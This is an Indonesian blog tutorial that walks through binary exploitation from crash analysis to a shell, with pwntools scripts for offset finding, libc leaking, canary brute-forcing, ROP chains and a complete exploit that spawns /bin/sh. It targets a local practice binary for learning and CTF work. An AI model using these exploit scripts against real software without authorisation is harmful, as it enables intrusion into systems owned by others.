Kamu pernah baca CVE lihat exploit orang jalan tapi pernah bikin PoC dari nol? Crash dump sampai shell terbuka, ini walkthrough lengkap buat peneliti keamanan yang mau naik level.
Binary exploitation debugging with GDB debugger
## Fase 1: Crash Analysis Semua exploit mulai dari crash yang bisa diulang dan dikontrol. Pertama siapkan toolkit. “`bash sudo apt install gdb gdb-multiarch gdbserver python3-pwntools radare2 ghidra gcc-multilib libc6-dbg qemu-user “` Install pwndbg untuk GDB yang lebih nyaman. “`bash git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh “` Trigger crash dengan input panjang. “`bash python3 -c “print(‘A'*500)” | ./vuln_binary gdb ./vuln_binary (gdb) run < <(python3 -c "print('A'*500)") (gdb) info registers (gdb) bt ``` Lihat register yang ter-overwrite (RIP/EIP), offset buffer, dan cek mitigasi dengan `checksec`. ## Fase 2: Offset Calculation Gunakan pola unik untuk cari offset tepat. ```bash python3 -c "from pwn import *; print(cyclic(500))" > pattern.txt # atau msf-pattern_create -l 500 > pattern.txt gdb ./vuln_binary (gdb) run < pattern.txt (gdb) info registers rip # misal 0x6161616161616166 python3 -c "from pwn import *; print(cyclic_find(0x6161616161616166))" ``` Offset ini jadi dasar payload. ## Fase 3: Leak & Bypass Mitigations Modern binary punya ASLR, PIE, NX, Stack Canary, RELRO. Harus bypass satu per satu. ### Bypass ASLR/PIE – Leak Address Butuh leak address dari memory (libc base, binary base). Teknik common: - Format String Vulnerability (%p) - Info Leak via Read Primitive - Partial Overwrite (12-bit ASLR bypass) - Return-to-PLT/GOT Contoh leak libc lewat puts@GOT. ```python from pwn import * elf = ELF('./vuln_binary') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') pop_rdi = 0x401234 payload = b'A'*offset payload += p64(pop_rdi) payload += p64(elf.got['puts']) payload += p64(elf.plt['puts']) payload += p64(elf.symbols['main']) io = process('./vuln_binary') io.sendline(payload) leaked = u64(io.recvline().strip().ljust(8, b'\x00')) libc_base = leaked - libc.symbols['puts'] log.success(f"libc base: {hex(libc_base)}") ``` ### Bypass Stack Canary Canary harus di-leak dulu via format string, info leak, atau brute force byte per byte (32-bit/partial overwrite). ```python canary = b'' for i in range(8): for c in range(256): payload = b'A'*offset + canary + bytes([c]) # test: tidak crash berarti byte benar ``` ## Fase 4: ROP Chain Construction NX aktif => tidak bisa execute shellcode di stack. Solusi: Return-Oriented Programming. Cari gadget dengan ROPgadget atau pwntools. “`bash ROPgadget –binary ./vuln_binary –only “pop|ret” | grep -E “pop rdi|pop rsi|pop rdx” “` “`python from pwn import * rop = ROP(‘./vuln_binary') rop.call(‘system', [next(libc.search(b'/bin/sh'))]) print(rop.chain()) “` Gadget kunci x86_64: `pop rdi; ret`, `pop rsi; ret`, `pop rdx; ret`, `syscall; ret`. ## Fase 5: Shellcode Execution (Jika NX Mati) Jika NX tidak aktif atau ada RWX region, inject shellcode langsung. “`python shellcode = asm(shellcraft.amd64.linux.sh()) nop_sled = b'\x90'*100 payload = nop_sled + shellcode payload += b'A'*(offset – len(nop_sled) – len(shellcode)) payload += p64(stack_address) “` Catatan: Mayoritas modern binary NX aktif, jadi ROP lebih umum. ## Fase 6: Full Exploit Chain Gabungkan semua jadi satu script. “`python #!/usr/bin/env python3 from pwn import * OFFSET = 136 elf = ELF(‘./vuln_binary') libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6') POP_RDI = 0x401234 def leak_libc(io): payload = b'A'*OFFSET payload += p64(POP_RDI) payload += p64(elf.got[‘puts']) payload += p64(elf.plt[‘puts']) payload += p64(elf.symbols[‘main']) io.sendline(payload) io.recvline() leaked = u64(io.recvline().strip().ljust(8, b'\x00′)) return leaked – libc.symbols[‘puts'] def get_shell(io, base): libc.address = base bin_sh = next(libc.search(b'/bin/sh')) payload = b'A'*OFFSET payload += p64(POP_RDI) payload += p64(bin_sh) payload += p64(libc.symbols[‘system']) io.sendline(payload) io.interactive() if __name__ == ‘__main__': io = process(‘./vuln_binary') base = leak_libc(io) log.success(f”libc: {hex(base)}”) get_shell(io, base) “` ## Fase 7: Testing & Reliability Exploit harus reliable, bukan hanya kerja sekali. – Jalankan 50x, sukses ≥90% – Uji dengan ASLR on/off, PIE on/off – Coba berbagai versi libc (2.31, 2.35, 2.38) – Perhatikan edge cases: panjang input, bad chars (\x00,\x0a,\x0d), stack alignment ## Checklist Production-Ready – [ ] Crash bisa diulang 100% – [ ] Offset tepat (cyclic verified) – [ ] Semua mitigasi teridentifikasi (checksec) – [ ] Info leak works reliably – [ ] ROP chain sudah teruji – [ ] Bad chars ditangani – [ ] Stack alignment benar (16-byte x86_64) – [ ] Diuji terhadap beberapa versi libc – [ ] Bekerja lokal & remote – [ ] Dokumentasi lengkap dengan komentar & screenshot ## Tools Cheat Sheet | Kategori | Tools | |—————-|——————————————–| | Debugger | GDB + pwndbg/gef, radare2, x64dbg | | Binary Analysis| Ghidra, IDA Pro, Binary Ninja | | ROP Gadgets | ROPgadget, ropper, pwntools ROP | | Pattern/Offset | pwntools cyclic, msf-pattern_create | | Shellcode | pwntools shellcraft, msfvenom | | Libc Database | libc.blukat.me, libc.rip | | Framework | pwntools, Metasploit | ## Ponytail: Disampingkan Sengaja Artikel ini tidak membahas heap exploitation (house of force, tcache poisoning, unsorted bin attack), format string exploitation detail, dan kernel exploitation. Jalur upgrade: pelajari Heap Exploitation via How2Heap repo, lalu lanjut ke Kernel PWN training khusus. ## Baca Juga – Heap Overflow: Kenapa Memori yang Meluap Ini Justru Pintu Masuk HackerWormability Assessment: Framework Analisis Payload Pasca-EksploitasiTechnical Deep Dive ProfSvc VulnerabilityDetecting Post-Exploitation Activity: Response PlaybookDeteksi WP2Shell Pakai Sigma, Snort, Suricata ## FAQ **Berapa lama belajar bikin PoC exploit dari nol?** Realistinya 2-6 bulan kalau konsisten. Crash analysis sampai offset calculation bisa dalam 1-2 minggu. Bypass mitigations (ASLR, NX, Canary) biasanya memakan 2-3 bulan. ROP chain lebih cepat setelah fondasi kuat. Mulai dari pwn.college (gratis) dan buku *Hacking: The Art of Exploitation*. **Apakah exploit development itu legal?** Membuat PoC untuk binary milikmu sendiri, CTF challenge, atau program bug bounty yang memberi izin itu legal. Menggunakan exploit untuk masuk sistem tanpa izin itu ilegal. Selalu pastikan ada izin eksplisit sebelum menguji di sistem produksi. **Harus mahir assembly dulu?** Cukup paham reading-level x86/x64 assembly. Kamu harus bisa membaca output debugger, memahami tata letak stack frame, register, dan gadget dari ROPgadget. Skill assembly akan meningkat sendiri seiring kamu sering debug exploit. Output Ghidra/IDA Pro sangat membantu di tahap awal.
Mau lanjut ke heap exploitation atau kernel exploitation? Tulis komentar di bawah!

About the Author

Dzul Qurnain

Suka nonton Anime, ngoding dan bagi-bagi tips kalau tahu.. Oh iya, suka baca ( tapi yang menarik menurutku aja)... Praktisi WordPress, web development, SEO, dan server administration yang membagikan tutorial teknis dan catatan implementasi nyata.

View All Articles